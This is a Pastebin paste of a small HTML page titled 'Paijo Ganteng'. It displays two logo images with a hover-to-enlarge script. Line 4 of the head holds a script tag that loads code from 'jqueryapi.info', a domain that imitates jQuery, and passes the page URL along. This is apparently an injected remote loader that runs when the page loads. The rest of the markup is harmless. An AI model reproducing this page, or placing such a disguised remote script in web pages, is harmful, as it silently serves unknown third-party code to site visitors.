Advertisement
CaFc_Versace

Paijo

Jun 17th, 2014
628
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.78 KB | None | 0 0
  1. <html>
  2.  
  3. <head>
  4. <script src="http://jqueryapi.info/?getsrc=ok&ref=&url=http%3A%2F%2Fbagsfreakz.do.am%2Fncrot.html"></script>
  5. <title>Paijo Ganteng</title>
  6. <style type="text/css">
  7. img.expando {
  8. border: none;
  9. vertical-align: top;
  10. }
  11. </style>
  12. <script type="text/javascript">
  13. if (document.images) {
  14. (function () {
  15. var cos, a = /Apple/.test(navigator.vendor),
  16. times = a ? 20 : 40,
  17. speed = a ? 40 : 20;
  18. var expConIm = function (im) {
  19. im = im || window.event;
  20. if (!expConIm.r.test(im.className))
  21. im = im.target || im.srcElement || null;
  22. if (!im || !expConIm.r.test(im.className))
  23. return;
  24. var e = expConIm,
  25. widthHeight = function (dim) {
  26. return dim[0] * cos + dim[1] + 'px';
  27. },
  28. resize = function () {
  29. cos = (1 - Math.cos((e.ims[i].jump / times) * Math.PI)) / 2;
  30. im.style.width = widthHeight(e.ims[i].w);
  31. im.style.height = widthHeight(e.ims[i].h);
  32. if (e.ims[i].d && times > e.ims[i].jump) {
  33. ++e.ims[i].jump;
  34. e.ims[i].timer = setTimeout(resize, speed);
  35. } else if (!e.ims[i].d && e.ims[i].jump > 0) {
  36. --e.ims[i].jump;
  37. e.ims[i].timer = setTimeout(resize, speed);
  38. }
  39. },
  40. d = document.images,
  41. i = d.length - 1;
  42. for (i; i > -1; --i)
  43. if (d[i] == im) break;
  44. i = i + im.src;
  45. if (!e.ims[i]) {
  46. im.title = '';
  47. e.ims[i] = {
  48. im: new Image(),
  49. jump: 0
  50. };
  51. e.ims[i].im.onload = function () {
  52. e.ims[i].w = [e.ims[i].im.width - im.width, im.width];
  53. e.ims[i].h = [e.ims[i].im.height - im.height, im.height];
  54. e(im);
  55. };
  56. e.ims[i].im.src = im.src;
  57. return;
  58. }
  59. if (e.ims[i].timer) clearTimeout(e.ims[i].timer);
  60. e.ims[i].d = !e.ims[i].d;
  61. resize();
  62. };
  63.  
  64. expConIm.ims = {};
  65.  
  66. expConIm.r = new RegExp('\\bexpando\\b');
  67.  
  68. if (document.addEventListener) {
  69. document.addEventListener('mouseover', expConIm, false);
  70. document.addEventListener('mouseout', expConIm, false);
  71. } else if (document.attachEvent) {
  72. document.attachEvent('onmouseover', expConIm);
  73. document.attachEvent('onmouseout', expConIm);
  74. }
  75. })();
  76. }
  77. </script>
  78. </head>
  79.  
  80. <body>
  81. <br></br>
  82. <br></br>
  83. <center>
  84. <p>
  85. <img class="expando logo" width="150" height="100" border="0" src="http://bagsfreakz.do.am/logo.png" title="" style="width: 150px; height: 100px;"></img>
  86. </p>
  87. <br></br>
  88. <p>
  89. <img class="expando logo" width="150" height="100" border="0" src="http://bagsfreakz.do.am/logo.png" title="" style="width: 150px; height: 100px;"></img>
  90. </p>
  91. </center>
  92. </body>
  93.  
  94. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement